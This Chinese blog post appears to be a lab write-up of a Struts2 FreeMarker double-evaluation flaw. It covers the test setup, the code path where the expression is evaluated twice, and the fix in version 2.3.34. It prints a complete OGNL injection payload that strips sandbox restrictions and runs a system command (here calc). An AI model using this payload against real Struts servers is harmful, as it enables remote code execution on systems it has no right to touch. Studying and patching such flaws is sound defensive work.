前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。


环境搭建

2.3.32 版本 struts2 + Tomcat 9。

修改 result type:

<result name="success" type="freemarker">/success.ftl</result>

新建一个 success.ftl 模板文件,然后加上 Freemaker tags:

<@s.hidden name="redirectUri" value=redirectUri />
<@s.hidden name="redirectUri" value="${redirectUri}" />
<@s.hidden name="${redirectUri}"/>

三选一。

漏洞利用

简单的双重评估漏洞,直接用 S2-046 的 payload:

%25{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))}

漏洞分析

给 OGNL 的 callStaticMethod 函数下断点来找触发点,源头是在渲染标签属性的 evaluateParams 函数中,这里会调用 findString 解析表达式:

if (this.name != null) {
    name = findString(this.name);
    addParameter("name", name);
}

而这里的 name 已经经过了一次表达式解析,在前面 Freemaker 处理模板 element 的 accept 函数中:

args = new HashMap();
for (Iterator it = namedArgs.entrySet().iterator(); it.hasNext();) {
    Map.Entry entry = (Map.Entry) it.next();
    String key = (String) entry.getKey();
    Expression valueExp = (Expression) entry.getValue();
    TemplateModel value = valueExp.eval(env);
    args.put(key, value);
}

所以就导致了漏洞。

漏洞修复

2.3.34 版本中,禁止了访问 #context,尝试打印 #context 时会发现什么数据都没有。


参考文章:

https://www.freebuf.com/vuls/147735.html


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Linux栈溢出入门
struts2系列漏洞 S2-046